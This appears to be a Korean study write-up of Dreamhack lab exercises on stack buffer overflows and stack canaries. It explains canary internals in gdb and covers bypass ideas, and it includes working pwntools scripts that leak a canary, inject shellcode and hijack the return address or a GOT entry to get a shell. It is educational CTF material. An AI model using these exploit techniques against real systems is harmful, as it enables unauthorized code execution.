스택 버퍼인 buf에 총 두번 입력을 받는다. 그런데 두 입력 모두에서 오버플로우가 발생한다. 이 취약점을 이용해 셸을 획득해야 한다.
▶ 익스플로잇 시나리오
1. 카나리 우회
read(0, buf, 0x100); // Fill buf until it meets canaryprintf("Your input is '%s'\n", buf);
두 번째 입력으로 반환 주소를 덮을 수 있지만, 카나리가 조작되면__stack_chk_fail함수에 의해 프로그램이 강제 종료된다. 그러므로 첫 번째 입력에서 카나리를 먼저 구하고, 이를 두 번째 입력에 사용해야 한다.
첫 번째 입력의 바로 뒤에서 buf를 문자열로 출력해주기 때문에, buf에 적절한 오버플로우를 발생시키면 카나리 값을 구할 수 있을 것이다.
2. 셸 획득
카나리를 구했으면, 두 번째 입력으로 반환 주소를 덮을 수 있다. 그런데 이 바이너리에는 셸을 획득해주는get_shell()같은 함수가 없다. 따라서 셸을 획득하는 코드를 직접 주입하고, 해당 주소로 실행 흐름을 옮겨야 한다. 주소를 알고 있는buf에 셸코드를 주입하고, 해당 주소로 실행 흐름을 옮기면 셸을 획득할 수 있을 것이다.
익스플로잇
▶ 스택 프레임 정보 수집
스택을 이용하여 공격할 것이므로, 스택 프레임의 구조를 먼저 파악해야 한다. 이 예제에서는 스택 프레임에서의buf위치를 보여주므로, 이를 적절히 파싱할 수만 있으면 된다.
process, recv, recvuntil, recvn, recvline등의 함수를 사용해서 구현할 수 있다.
from pwn import *
defslog(n, m):return success(": ".join([n, hex(m)]))
p = process("./r2s")
context.arch = "amd64"# [1] Get information about buf
p.recvuntil("buf: ")
buf = int(p.recvline()[:-1], 16)
slog("Address of buf", buf)
p.recvuntil("$rbp: ")
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog("buf <=> sfp", buf2sfp)
slog("buf <=> canary", buf2cnry)
로컬 바이너리 'r2s'를 대상으로 익스플로잇을 수행하고 x86-64 아키텍처로 지정하였다.
p.recvuntil을 이용해 buf: 뒤부터 입력받도록하며 buf는 16진수로 받아 int로 저장한다.
그리고 Address of buf : buf값의 형태로 출력하도록 한다.
또, p.recvuntil을 이용해 $rbp: 뒤부터 입력받도록 하며 buf2sfp에 p.recvline을 이용해 \n까지 받은 뒤 다음줄로 이동한다. 그리고 buf2sfp에서 8뺀 값을 buf2cnry에 저장해주고 이 둘을 출력한다.
이 코드를 실행했더니 다음과 같이 나왔다.
▶ 카나리 릭
스택 프레임에 대한 정보를 수집했으므로, 이를 활용하여 카나리를 구해야한다. buf와 카나리 사이를 임의의 값으로 채우면, 프로그램에서 buf를 출력할 때 카나리가 같이 출력될 것이다. 앞에서 구한 스택 프레임의 구조를 고려하여, 카나리를 구하도록 스크립트를 추가해보자.
# [2] Leak canary value
payload = b"A"*(buf2cnry + 1) # (+1) because of the first null-byte
p.sendafter("Input:", payload)
p.recvuntil(payload)
cnry = u64(b"\x00"+p.recvn(7))
slog("Canary", cnry)
buf2cnry + 1만큼의 "A"를 payload에 저장하고 sendafter을 이용해 Input: 가 출력되면 payload를 입력받도록 한다. p.recvuntil로 payload가 출력될 때까지 받는다. p.recv을 이용해 7바이트의 데이터를 입력받아 \x00과 더해주고 이를 출력한다.
▶ 익스플로잇
카나리를 구했으므로, 이제 buf에 셸코드를 주입하고, 카나리를 구한 값으로 덮은 뒤, 반환 주소(RET)를 buf로 덮으면 셸코드가 실행되게할 수 있다. context.arch, shellcraft, asm을 이용하면 스크립트를 쉽게 추가할 수 있다.
# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b"A") + p64(cnry) + b"B"*0x8 + p64(buf)
# gets() receives input until "\n" is received
p.sendlineafter("Input:", payload)
p.interactive()
addr, value라는 변수와 buf라는 0x40 크기의 배열이 있다. initialize 함수를 호출하고 있으며 addr과 value를 입력받고 있다. value 값을 addr 포인터에 저장해준다. 여기서 유의할 점은 buf는 0x40의 크기를 가지고 있지만 0x80 크기의 buf를 읽기 때문에 버퍼 오버플로우가 생길 가능성이 있다는 점이다.
다음은 main을 디스어셈블한 결과이다.
마지막 부분을 보면 xor 과정을 통해 카나리 값이 바뀌면 __stack_chk_fail 함수가 호출된다는 것을 알 수 있다.
from pwn import *
p = remote("host1.dreamhack.games", 18857)
elf=ELF("./ssp_000")
p.send('A'*0x50)
p.sendlineafter("Addr : ", str(elf.got['__stack_chk_fail']))
p.sendlineafter("Value : ", str(elf.symbols['get_shell']))
p.interactive()
ELF (Executable and Linking Format) : 실행 가능한 바이너리, 오브젝트 파일의 형식을 규정한 파일 - PLT : 외부 프로시저를 연결해주는 테이블 - GOT : PLT가 참조하는 테이블, 프로시저들의 주소가 들어있음, PLT가 어떤 외부 프로시저를 호출할 때 GOT를 참조하여 해당 주소로 점프함
ELF를 통해 파일을 열고 A를 0x50만큼 보내 오버플로우를 발생시키도록 하였다. 이 과정을 통해 카나리 값이 바뀌고 __stack_chk_fail 함수가 호출된다. __stack_chk_fail에 got를 주고 get_shell 주소를 주어 종료되면 get_shell이 실행되어 셸을 구할 수 있다.
Ubuntu 18.04의 gcc는 기본적으로 스택 카나리를 적용하여 바이너리를 컴파일한다.
컴파일 옵션으로-fno-stack-protector옵션을 추가해야 카나리 없이 컴파일할 수 있다.
이를 컴파일하고 길이가 긴 입력을 주면 반환 주소가 덮여서Segmentation fault가 발생한다.
- 카나리 활성화
카나리를 적용하여 다시 컴파일하고, 긴 입력을 주면 위의 경우와 다르게 stack smashing detected와 Aborted라는 에러가 발생한다. 이는 스택 버퍼 오버플로우가 탐지되어 프로세스가 강제 종료되었음을 의미한다.
다음은 no_canary와 디스어셈블한 코드를 비교한 결과이다.
▶ 카나리 동적 분석
- 카나리 저장
main+8 →fs:0x28의 데이터를 읽어서rax에 저장한다.fs는 세그먼트 레지스터의 일종으로, 리눅스는 프로세스가 시작될 때fs:0x28에 랜덤 값을 저장한다. 따라서main+8의 결과로rax에는 리눅스가 생성한 랜덤 값이 저장된다.
rax에 첫 바이트가 널 바이트인 8바이트 데이터가 저장되어 있다.
생성한 랜덤값은 main+17에서 rbp-0x8에 저장된다.
※ fs
cs, ds, es는 CPU가 사용 목적을 명시한 레지스터인 반면, fs와 gs는 목적이 정해지지 않아 운영체제가 임의로 사용할 수 있는 레지스터이다. 리눅스는 fs를Thread Local Storage(TLS)를 가리키는 포인터로 사용한다. 여기서는 TLS에 카나리를 비롯하여 프로세스 실행에 필요한 여러 데이터가 저장된다.
- 카나리 검사
main+50 → rbp-8에 저장한 카나리를 rcx로 옮긴다. 그 뒤, main+54에서 rcx를 fs:0x28에 저장된 카나리와 xor한다. 두 값이 동일하면 연산 결과가 0이되면서 je의 조건을 만족하게 되고, main함수는 정상적으로 반환된다. 그러나 두 값이 동일하지 않으면 __stack_chk_fail이 호출되면서 프로그램이 강제로 종료된다.
16개의 H를 입력하여 카나리를 변조하고 실행 흐름을 살펴보자
코드를 한 줄 실행시키면 rbp-ax8에 저장된 카나리 값이 버퍼 오버플로우로 인해 "0x4848484848484848"이 되었다.
main+54의 연산 결과가 0이 아니므로main+63에서main+70으로 분기하지 않고main+65의__stack_chk_fail을 실행하게 된다. 그 함수가 실행되면 아래와 같은 메세지와 함께 프로세스가 강제 종료된다.
카나리의 생성 과정
▶ 카나리 생성 과정
카나리 값은 프로세스가 시작될 때, TLS에 전역 변수로 저장되고, 각 함수마다 프롤로그와 에필로그에서 이 값을 참조한다.
- TLS의 주소 파악
fs는 TLS를 가리키므로fs의 값을 알면 TLS의 주소를 알 수 있다. 그러나 리눅스에서fs의 값은 특정 시스템 콜을 사용해야만 조회하거나 설정할 수 있다. fs의 값을 설정할 때 호출되는arch_prctl(int code, unsigned long addr)시스템 콜에 중단점을 설정하여fs가 어떤 값으로 설정되는지 살펴보자. 이 시스템 콜을arch_prctl(ARCH_SET_FS, addr)의 형태로 호출하면fs의 값은addr로 설정된다.
gdb에는 특정 이벤트가 발생했을 때, 프로세스를 중지시키는catch라는 명령어가 있다. 이 명령어로arch_prctl에 catchpoint를 설정하고 실습에 사용했던canary를 실행해보자.
catchpoint에 도달했을 때, rdi의 값이 0x1002인데 이는ARCH_SET_FS의 상숫값이다. rsi의 값이0x7ffff7fe34c0이므로, 이 프로세스는 TLS를0x7ffff7fe34c0에 저장할 것이며,fs는 이를 가리키게 될 것아다.
카나리가 저장될fs+0x28(0x7ffff7fe34c0+0x28)의 값을 보면, 아직 어떠한 값도 설정되어 있지 않은 것을 확인할 수 있다.
- 카나리 값 설정
TLS의 주소를 알았으므로, gdb의 watch 명령어로 TLS+0x28에 값을 쓸 때 프로세스를 중단시켜보자.
watch : 특정 주소에 저장된 값이 변경되면 프로세스를 중단시키는 명령어
watchpoint 를 설정하고 프로세스를 계속 진행하면 security_init함수에서 프로세스가 멈추고 TLS + 0x28의 값을 조회하면 다음과 같은 값이 카나리로 설정되었음을 알 수 있다.
카나리 우회
▶ 카나리 우회
- 무차별 대입
x64 아키텍처에서는 8바이트의 카나리가 생성되며, x86 아키텍처에서는 4바이트의 카나리가 생성된다. 각각의 카나리에는 NULL 바이트가 포함되어 있으므로, 실제로는 7바이트와 3바이트의 랜덤한 값이 포함된다.
즉, 무차별 대입으로 x64 아키텍처의 카나리 값을 알아내려면 최대 256^7번, x86 에서는 최대 256^3 번의 연산이 필요하다. 연산량이 많아서 x64 아키텍처의 카나리는 무차별 대입으로 알아내는 것 자체가 현실적으로 어려우며, x86 아키텍처는 구할 순 있지만, 실제 서버를 대상으로 저정도 횟수의 무차별 대입을 시도하는 것은 불가능하다.
- TLS 접근
카나리는 TLS에 전역변수로 저장되며, 매 함수마다 이를 참조해서 사용한다. TLS의 주소는 매 실행마다 바뀌지만 만약 실행중에 TLS의 주소를 알 수 있고, 임의 주소에 대한 읽기 또는 쓰기가 가능하다면 TLS에 설정된 카나리 값을 읽거나, 이를 임의의 값으로 조작할 수 있다.
그 뒤, 스택 버퍼 오버플로우를 수행할 때 알아낸 카나리 값 또는 조작한 카나리 값으로 스택 카나리를 덮으면 함수의 에필로그에 있는 카나리 검사를 우회할 수 있다.
특징 : 입력의 길이를 제한 X, 공백 문자인 띄어쓰기, 탭, 개행 문자 등이 들어올 때까지 계속 입력을 받음
→ 이 특징으로 인해 실수로 또는 악의적으로 버퍼의 크기보다 큰 데이터를 입력하면 오버플로우가 발생할 수 있다. 따라서 scanf에 %s 포맷 스트링은 사용하지 말아야 하며, n개의 문자만 입력받는 “%[n]s”의 형태로 사용해야 한다.
이외에도, C/C++의 표준 함수 중, 버퍼를 다루면서 길이를 입력하지 않는 함수들은 대부분 위험하다고 생각해야 한다. strcpy, strcat, sprintf 대신 버퍼의 크기를 같이 입력하는 strncpy, strncat, snprintf, fgets, memcpy 등을 사용하는 것이 바람직하며, 프로그램의 취약점을 찾을 때는 취약한 함수들이 사용되지 않았는지 유의해서 살펴보는 것이 좋다.
이 코드에서는 크기가 0x28인 버퍼에 scanf(“%s”, buf)로 입력을 받으므로, 입력을 길게 준다면 버퍼 오버플로우를 발생시켜서 main함수의 반환 주소를 덮을 수 있을 것이다.
▶ 트리거
: 취약점을 발현시킴
AAAAA만 입력해주었을 때는 프로그램이 정상적으로 종료되었다.
하지만 A를 64개 입력하였더니 Segmentation fault 에러가 발생하며 프로그램이 비정상적으로 종료되었다.
Segmentation fault(core dumped) 에러 : 프로그램이 잘못된 메모리 주소에 접근했다는 의미, 프로그램에 버그가 발생했다는 신호 - core dumped : 코어파일(core)을 생성했다는 것으로 프로그램이 비정상 종료되었을 때 디버깅을 돕기 위해 운영체제가 생성해주는 것
※ 코어 파일이 생성되지 않았을 때
리눅스는 기본적으로 코어 파일의 크기에 제한을 두고 있다. 바이너리가 세그먼테이션 폴트를 발생시키고도 코어파일을 생성하지 않았다면, 생성해야할 코어파일의 크기가 이를 초과했기 때문이다.
다음 커맨드로 그 제한을 해제하고, 다시 오류를 발생시키면 코어 파일을 얻을 수 있다.
$ulimit -c unlimited
▶ 코어 파일 분석
gdb에는 코어 파일을 분석하는 기능이 있다. 이를 이용하여 입력이 스택에 어떻게 저장됐는지 살펴보고, 셸을 획득하기 위한 계획을 세울 수 있다.
$ gdb -c core
이 명령어로 코어 파일을 연다. 프로그램이 종료된 원인이 나타나고, 어떤 주소의 명령어를 실행하다가 문제가 발생했는지 보여준다.
컨텍스트에서 디스어셈블된 코드와 스택을 관찰하면, 프로그램이 main함수에서 반환하려고 하는데, 스택 최상단에 저장된 값이 입력값의 일부인 0x4141414141414141('AAAAAAAA')라는 것을 알 수 있다. 이는 실행가능한 메모리의 주소가 아니므로 세그먼테이션 폴트가 발생한 것이다. 이 값이 원하는 코드 주소가 되도록 적절한 입력을 주면, main함수에서 반환될 때, 원하는 코드가 실행되도록 조작할 수 있을 것이다.
익스플로잇
▶ 스택 프레임 구조 파악
스택 버퍼에 오버플로우를 발생시켜서 반환주소를 덮으려면, 우선 해당 버퍼가 스택 프레임의 어디에 위치하는지 알아야 한다. 이를 위해 main의 어셈블리 코드 중 scanf에 인자를 전달하는 부분을 자세히 살펴보자.
scanf("%s", (rbp-0x30));
오버플로우를 발생시킬 버퍼는rbp-0x30에 위치한다. 스택 프레임의 구조를 떠올려 보면,rbp에 스택 프레임 포인터(SFP)가 저장되고,rbp+0x8에는 반환 주소가 저장된다.
출력 형식이 buf = (%p) 이므로 내가 원하는 괄호 내 숫자만 얻기 위해 p.recvuntil을 이용해 "buf = (" 다음부터 받도록 했다. buf주소 10byte를 16진수로 받아 add에 저장하였다. 그리고 26바이트 셸코드와 A 10개를 code에 추가해주고 32bit little endian방식으로 add를 packing해주어 code에 추가하였다.
이를 실행해보았다.
ls로 flag파일이 있음을 확인하고 cat을 이용해 flag을 열어주어 찾을 수 있었다.